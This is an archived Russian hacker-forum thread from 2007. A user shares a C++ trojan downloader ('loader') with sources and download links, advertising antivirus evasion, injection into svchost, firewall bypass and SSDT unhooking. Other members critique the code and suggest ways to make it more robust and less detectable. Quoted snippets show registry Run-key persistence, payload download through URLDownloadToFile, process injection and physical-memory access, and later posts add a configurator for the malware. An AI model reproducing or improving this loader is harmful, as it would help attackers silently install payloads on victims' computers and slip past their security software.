Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Защита ОС: вирусы, антивирусы, файрволы. (https://forum.antichat.xyz/forumdisplay.php?f=80)
-   -   Loader от меня (https://forum.antichat.xyz/showthread.php?t=43201)

Ky3bMu4 27.06.2007 16:29
Loader от меня
 
Решил написать лоадер. Просто выдрал из bloodknife`а всё ненужное. :D
Так значит:
1)Вес не пакованый 4кб.
2)Каспер, нод, др.веб в ауте.
3)Инжект в svchost - фаеры молчат.

На С++. Правите конфиг и юзаете. Естесн с исходниками.

Внимание! Адептами програминга перед просмотром сороцев положить валидол под язык! ;)

http://lordofring.tushino.com/LOADER.rar
http://rapidshare.com/files/39634411/LOADER.rar.html
http://softz.ifolder.ru/2507458

_Great_ 27.06.2007 17:16
Ухх открываем сорсы и начинаем готовить мат :)

Constantine 27.06.2007 17:28
*Сердечный приступ*

_Great_ 27.06.2007 17:28
Ну фто ж, начнём =)
Метод инжекта не очень оригинальный. Но а вдруг выбранная тобой база уже занята? Тогда ведь песец ослику (С) =( Так что было бы неплохо добавить релоки и их обработку на всякий пожарный.
Насчет добавления в автозапуск - ну эээ я например комп неделями не перезагружаю.. имхо все же лучше запускать троя сразу. Хотя это на вкус и цвет.. но тогда придется подождать завершения скачивания через WaitForSingleObject на объекте созданного в другом процессе потока

Далее, а ты уверен, что URLMON.DLL окажется в адресном пространстве жертвы? Я - нет. Поэтому было бы неплохо вначало func() дописать LoadLibrary("urlmon.dll"); а то есть риск вылететь с Access Violation ;)

Ну а вообще кода там не очень много, про сотню строчек больше сказать, вообщем-то и нечего :)
Разве что стиль отвратительный =) Ну ладно )

Hellsp@wn 27.06.2007 18:01
инжекст в свхост? и какие фаеры молчат, "огласите весь список пожалуйста" (с)
называть вещи надо своимим именами, молчать будет, по-моему, тока
виндовый фаер))) и пара таких же "псевдо" фаеров...

Y.Dmitriy 27.06.2007 18:09
у мну НОД реагирует:) мож че то не так делаю... и согласен, что в хвост вставлять не стоит фаер по коннекту среагирует...
Цитата:
HKEY hKey;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\pol icies\\Explorer\\Run",
NULL,
"",
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL); //запуск процесса нас сильно запалит, поэтому просто запишем файлик в автозапуск.
угу а изменение реестра нод не палит да?...

Ky3bMu4 28.06.2007 15:00
Гы-гы svchost меняет реестр! Ужс! :D :D :D

Можно конечн добавить чистку sdt, но тогда вес будет не 4 , а 11кб.

_Great_ 28.06.2007 15:22
Цитата:
Можно конечн добавить чистку sdt, но тогда вес будет не 4 , а 11кб.
Смотря какой код возьмешь) Самый лучший вариант через нтсистемдебагконтрол, если достанешь, конечно)

Ky3bMu4 28.06.2007 15:25
Вот, критику учёл. Вес 11кб(непакованый), чистка sdt , др.веб уже в теме...
Заливать на разные файловики не стал - вес всего 7кб.

http://lordofring.tushino.com/LOADERv.1.1.rar

_Great_ 28.06.2007 15:45
Откуда взял такой кривой код восстановления Sdt ?)

Ky3bMu4 28.06.2007 17:13
rootkit.com

Hellsp@wn 28.06.2007 18:34
а можно откомпиленный вариант для тестов? =)

Ky3bMu4 29.06.2007 11:01
lordofring.tushino.com/_LOADER.exe

KEZ 29.06.2007 11:08
мдаааааааааааа ...первый вопрос - под чем ты это писал?

KEZ 29.06.2007 11:54
я вот просто не понимаю, ну на*** такие потики создавать? типа вот я написал лоадер. традиционный (91ого года) метод инжекта. Традиционная скачка файлов. Вот и весь лоадер. Поставьте мне плюсики, я крутой кодер. Ну я сам тоже могу написать тебе ДДОС бота какого-нибудь очередного, со стандартным набором ф-ий. Это не кодинг а рисование - переклеивание чужих кусков кода в свои файлы.
А что код у тебя вообще в .h это пиздец конечно.

Ky3bMu4 29.06.2007 13:33
Цитата:
А что код у тебя вообще в .h это пиздец конечно.
Что ты имеешь в виду?

Цитата:
Поставьте мне плюсики, я крутой кодер.
+ я не просил;)
На ачате я не видел исходников работающего лоадера. А если и выкладывают какой-нить лоадер(без исходников), то это полное г. на которое фаеры и антивири кричат как коты на валерьянку. А тут те работающий пример + исходники.
Согласен, что инжект палёвый, но я ведь добавил восстановление sdt.

Ni0x 02.07.2007 16:18
Цитата:
А тут те работающий пример + исходники.
ну и какой код из своего лоадера ты сам писал?

NetMan 02.07.2007 16:31
.h - header file (заголовочный файл)
Код правильнее хранить в .cpp-файлах.

Alexsize 02.07.2007 16:53
Народ! Могу сказать только одно: критикуя - предлагай!!! Вон берите пример с греата, он небось немало подсказок дал.

KEZ 02.07.2007 16:56
понимаешь ли в чем дело.
Во-первых, у тебя как бы антивирусы молчат, но это если скачивать нормальный файл.
Потому траффик, который ты получишь через
Цитата:
URLDownloadToFile(NULL,FROM,TO,0,NULL);
палится IMONом нод.

Во-вторых, твой уникальнейший ключ реестра Current Version\Run, как и все подобные RunOnce и т.п. палятся anti-spyware аутпоста, глазами юзера да и кто знает чем ещё.

В третьих, неясно что значит строка
Цитата:
if(!Inject(OpenProcess(PROCESS_ALL_ACCESS,false,GetPro cessID("svchost.exe")),&func)) ;
и зачем там нужен if, если потом стоит ;

В четвертых, ZoneAlarm не даст тебе снять хуки sdt. Не даст загрузить драйвер или открыть секцию PHYSICAL MEMORY.
Цитата:
if(_NtOpenSection(&hPhyMem, SECTION_MAP_READ | SECTION_MAP_WRITE, &oAttr ) != STATUS_SUCCESS)
причем, как я понял, это у тебя просто выдрано откуда-то с 99 года сорца, и засунуто в .h файл.

В пятых, не понятно зачем тебе строки
Цитата:
LoadLibrary("KERNEL32_DLL"); //грузим либы
LoadLibrary("USER32_DLL");
да и вообще все остальные.

В шестых, нет никакого смысла в том что ты выложил. Лоадер он на то и лоадер. Что должен не палится. Должен непалевно скачивать файлы. Должен весить очень мало.
Должен не использовать всякие чужие нестабильные ring0-переходы через колгейт. И не должен, наконец, быть собраным из чужих кусков сорцом.
А вообще никаких претензий быть не может, просто тебе было скучно и нечего делать. Я это так понял.
Причем, ладно бы если ты это написал на осенблере.
Типа понтанулся бы)
Как снег когда то понтанулся, выложив bindshell-исходник)
А на c++ уже все остальные нубы умеют((
Этим народ не удивишь.

Ni0x 02.07.2007 16:58
Alexsize, я не критикую, просто я не могу понять что именно в этом лоадере было написано им, по мне так это обычный копипаст с других исходников с небольшими авторскими поправками

Alexsize 02.07.2007 17:01
Цитата:
Сообщение от Ni0x
Alexsize, я не критикую, просто я не могу понять что именно в этом лоадере было написано им, по мне так это обычный копипаст с других исходников с небольшими авторскими поправками
Ты в теме? Ну так выложи свой лоадер! Что ж тогда критиковать вообще? Вот я считаю себя в праве что либо критиковать только если я в этом разбираюсь.

Ky3bMu4 02.07.2007 18:58
To KEZ

Цитата:
Нужно называть вещи своими именами
Всю эту работу выполняет svchost. Что будет кричать нод?:))))

Ni0x 02.07.2007 23:30
Цитата:
Ты в теме? Ну так выложи свой лоадер! Что ж тогда критиковать вообще? Вот я считаю себя в праве что либо критиковать только если я в этом разбираюсь.
Ну а смысл? В паблике сейчас 2 наиболее распространенных метода обхода файрволла, это инжект с предварительным снятием хуков и обход через BITS сервис, в сети куча исходников лоадеров, юзающих эти методы. Я не запрещаю автору использовать эти технологии в своих работах, но если уж он выложил "очередной" лоадер с инжектом пусть готовится к критике.

Ky3bMu4 06.07.2007 22:40
Сделать билдер оказалось проще, чем я думал.:)))

+Добавлен билдер.
На размер билдера не смотрите - borland C++


http://rapidshare.com/files/41584071/configur_loader.rar.html

_Great_ 07.07.2007 09:39
Цитата:
Сообщение от Ky3bMu4
To KEZ


Всю эту работу выполняет svchost. Что будет кричать нод?:))))
Да хоть папа римский. Создание ключа в ветке Run заемтно 100%.

Цитата:
Сообщение от KEZ
В пятых, не понятно зачем тебе строки
Это на случай, если либ в адресном пространстве не окажется

Ni0x 07.07.2007 13:12
Цитата:
Сделать билдер оказалось проще, чем я думал.))
у тебя не билдер, а конфигуратор, не путай ;)

slider 07.07.2007 13:23
ммм... тру .. конфигуратор..
Кста есть у кого экзамплы билдера на c++

кста.. а можн ли было б засунуть .dat
в рессурсы .. и там его конфигурировть?

p.s а даж если не получиться сконфигурировать с рессурсов..
то можно было б всунуть в temp и от туда конф-ть

Ky3bMu4 07.07.2007 13:31
Вот сорцы конфигуратора.
http://rapidshare.com/files/41505646/builder_sources_.rar.html

Ni0x 07.07.2007 13:59
Цитата:
Кста есть у кого экзамплы билдера на c++
Берем exe и в оверлеи пишем конфиг.

slider 07.07.2007 14:01
Цитата:
Сообщение от Ni0x
Берем exe и в оверлеи пишем конфиг.
Я спросил экзампл... а не рассказать как это сделать

_Great_ 07.07.2007 14:07
А что тут такогО? CreateFile / CreateFileMapping / MapViewOfFile / пишем / UnmapViewOfFile / CloseHandle x2

Ni0x 07.07.2007 14:22
Цитата:
Я спросил экзампл... а не рассказать как это сделать
Если ты привык получать все в готовом варианте, то уж извини, наврятли кто выложит тебе исходники нормального билдера.

slider 07.07.2007 14:31
Цитата:
Сообщение от Ni0x
Если ты привык получать все в готовом варианте, то уж извини, наврятли кто выложит тебе исходники нормального билдера.
Я не просил выкладывать ОХЕРЕННЫЙ билдер...
а просил показать небольшой пример...

P.S Great ... ок получилось..

Ky3bMu4 07.07.2007 17:35
Цитата:
А что тут такогО? CreateFile / CreateFileMapping / MapViewOfFile / пишем / UnmapViewOfFile / CloseHandle x2
Нах CreateFileMapping / MapViewOfFile ? Открываем файл, читаем содержимое в буфер, заменяем в буфере то, что нам надо, пишем в новый файл.

_Great_ 07.07.2007 17:41
Ну пусть делает как ему больше нравится. Мне больше нравится мапировать, т.к. это более аккуратно, прозрачно и винда меньше обращает внимания.


Время: 08:12